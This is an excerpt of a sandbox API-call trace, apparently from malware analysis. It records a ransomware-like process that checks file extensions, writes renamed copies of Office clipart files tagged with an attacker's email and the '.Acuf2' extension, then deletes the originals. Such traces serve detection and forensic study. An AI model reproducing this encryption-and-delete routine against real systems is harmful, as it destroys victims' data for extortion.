	[0268.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63
	[0268.275] lstrlenW (lpString=".zip") returned 4
	[0268.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.275] lstrlenW (lpString=".rar") returned 4
	[0268.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.275] lstrlenW (lpString=".bz2") returned 4
	[0268.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.275] lstrlenW (lpString=".7z") returned 3
	[0268.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63
	[0268.275] lstrlenW (lpString=".dbf") returned 4
	[0268.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63
	[0268.275] lstrlenW (lpString=".1cd") returned 4
	[0268.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63
	[0268.275] lstrlenW (lpString=".jpg") returned 4
	[0268.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.276] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=68776) returned 1
	[0268.276] CloseHandle (hObject=0x334) returned 1
	[0268.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x20
	[0268.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.276] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.276] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.277] GetLastError () returned 0x0
	[0268.277] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x10ca8, lpOverlapped=0x0) returned 1
	[0268.464] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x10cb0, lpOverlapped=0x0) returned 1
	[0268.466] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.466] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.466] SetEndOfFile (hFile=0x368) returned 1
	[0268.466] CloseHandle (hObject=0x368) returned 1
	[0268.466] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.466] SetEndOfFile (hFile=0x334) returned 1
	[0268.469] CloseHandle (hObject=0x334) returned 1
	[0268.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 1
	[0268.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63
	[0268.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63
	[0268.470] lstrlenW (lpString=".doc") returned 4
	[0268.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.470] lstrlenW (lpString=".docx") returned 5
	[0268.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.470] lstrlenW (lpString=".pdf") returned 4
	[0268.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.470] lstrlenW (lpString=".xls") returned 4
	[0268.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.470] lstrlenW (lpString=".xlsx") returned 5
	[0268.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.470] lstrlenW (lpString=".ppt") returned 4
	[0268.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63
	[0268.470] lstrlenW (lpString=".zip") returned 4
	[0268.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.470] lstrlenW (lpString=".rar") returned 4
	[0268.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.470] lstrlenW (lpString=".bz2") returned 4
	[0268.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.470] lstrlenW (lpString=".7z") returned 3
	[0268.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63
	[0268.470] lstrlenW (lpString=".dbf") returned 4
	[0268.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63
	[0268.470] lstrlenW (lpString=".1cd") returned 4
	[0268.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63
	[0268.470] lstrlenW (lpString=".jpg") returned 4
	[0268.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.471] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1256) returned 1
	[0268.471] CloseHandle (hObject=0x334) returned 1
	[0268.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20
	[0268.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.471] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.471] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.472] GetLastError () returned 0x0
	[0268.472] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x4e8, lpOverlapped=0x0) returned 1
	[0268.473] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x4f0, lpOverlapped=0x0) returned 1
	[0268.474] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.474] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.474] SetEndOfFile (hFile=0x368) returned 1
	[0268.474] CloseHandle (hObject=0x368) returned 1
	[0268.474] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.474] SetEndOfFile (hFile=0x334) returned 1
	[0268.476] CloseHandle (hObject=0x334) returned 1
	[0268.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 1
	[0268.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63
	[0268.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63
	[0268.477] lstrlenW (lpString=".doc") returned 4
	[0268.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.477] lstrlenW (lpString=".docx") returned 5
	[0268.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.477] lstrlenW (lpString=".pdf") returned 4
	[0268.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.477] lstrlenW (lpString=".xls") returned 4
	[0268.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.477] lstrlenW (lpString=".xlsx") returned 5
	[0268.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.477] lstrlenW (lpString=".ppt") returned 4
	[0268.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63
	[0268.477] lstrlenW (lpString=".zip") returned 4
	[0268.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.477] lstrlenW (lpString=".rar") returned 4
	[0268.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.478] lstrlenW (lpString=".bz2") returned 4
	[0268.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.478] lstrlenW (lpString=".7z") returned 3
	[0268.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63
	[0268.478] lstrlenW (lpString=".dbf") returned 4
	[0268.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63
	[0268.478] lstrlenW (lpString=".1cd") returned 4
	[0268.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63
	[0268.478] lstrlenW (lpString=".jpg") returned 4
	[0268.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.478] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2944) returned 1
	[0268.478] CloseHandle (hObject=0x334) returned 1
	[0268.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20
	[0268.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.479] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.479] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.479] GetLastError () returned 0x0
	[0268.479] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xb80, lpOverlapped=0x0) returned 1
	[0268.480] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xb90, lpOverlapped=0x0) returned 1
	[0268.481] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.481] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.481] SetEndOfFile (hFile=0x368) returned 1
	[0268.481] CloseHandle (hObject=0x368) returned 1
	[0268.481] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.481] SetEndOfFile (hFile=0x334) returned 1
	[0268.483] CloseHandle (hObject=0x334) returned 1
	[0268.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 1
	[0268.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63
	[0268.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63
	[0268.484] lstrlenW (lpString=".doc") returned 4
	[0268.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.484] lstrlenW (lpString=".docx") returned 5
	[0268.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.484] lstrlenW (lpString=".pdf") returned 4
	[0268.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.484] lstrlenW (lpString=".xls") returned 4
	[0268.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.484] lstrlenW (lpString=".xlsx") returned 5
	[0268.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.484] lstrlenW (lpString=".ppt") returned 4
	[0268.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63
	[0268.484] lstrlenW (lpString=".zip") returned 4
	[0268.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.484] lstrlenW (lpString=".rar") returned 4
	[0268.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.485] lstrlenW (lpString=".bz2") returned 4
	[0268.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.485] lstrlenW (lpString=".7z") returned 3
	[0268.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63
	[0268.485] lstrlenW (lpString=".dbf") returned 4
	[0268.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63
	[0268.485] lstrlenW (lpString=".1cd") returned 4
	[0268.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63
	[0268.485] lstrlenW (lpString=".jpg") returned 4
	[0268.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.486] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1220) returned 1
	[0268.486] CloseHandle (hObject=0x38c) returned 1
	[0268.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20
	[0268.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0268.486] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.486] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.487] GetLastError () returned 0x0
	[0268.487] ReadFile (in: hFile=0x38c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x4c4, lpOverlapped=0x0) returned 1
	[0268.488] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x4d0, lpOverlapped=0x0) returned 1
	[0268.489] ReadFile (in: hFile=0x38c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.489] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.489] SetEndOfFile (hFile=0x334) returned 1
	[0268.489] CloseHandle (hObject=0x334) returned 1
	[0268.489] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.489] SetEndOfFile (hFile=0x38c) returned 1
	[0268.493] CloseHandle (hObject=0x38c) returned 1
	[0268.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 1
	[0268.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63
	[0268.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63
	[0268.494] lstrlenW (lpString=".doc") returned 4
	[0268.494] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0268.494] lstrlenW (lpString=".docx") returned 5
	[0268.494] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0268.494] lstrlenW (lpString=".pdf") returned 4
	[0268.494] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0268.494] lstrlenW (lpString=".xls") returned 4
	[0268.494] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0268.494] lstrlenW (lpString=".xlsx") returned 5
	[0268.494] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0268.494] lstrlenW (lpString=".ppt") returned 4
	[0268.494] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0268.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63
	[0268.494] lstrlenW (lpString=".zip") returned 4
	[0268.494] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0268.494] lstrlenW (lpString=".rar") returned 4
	[0268.494] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0268.494] lstrlenW (lpString=".bz2") returned 4
	[0268.494] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0268.494] lstrlenW (lpString=".7z") returned 3
	[0268.494] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0268.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63
	[0268.495] lstrlenW (lpString=".dbf") returned 4
	[0268.495] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0268.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63
	[0268.495] lstrlenW (lpString=".1cd") returned 4
	[0268.495] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0268.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63
	[0268.495] lstrlenW (lpString=".jpg") returned 4
	[0268.495] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0268.496] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=9734) returned 1
	[0268.496] CloseHandle (hObject=0x38c) returned 1
	[0268.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20
	[0268.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0268.496] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
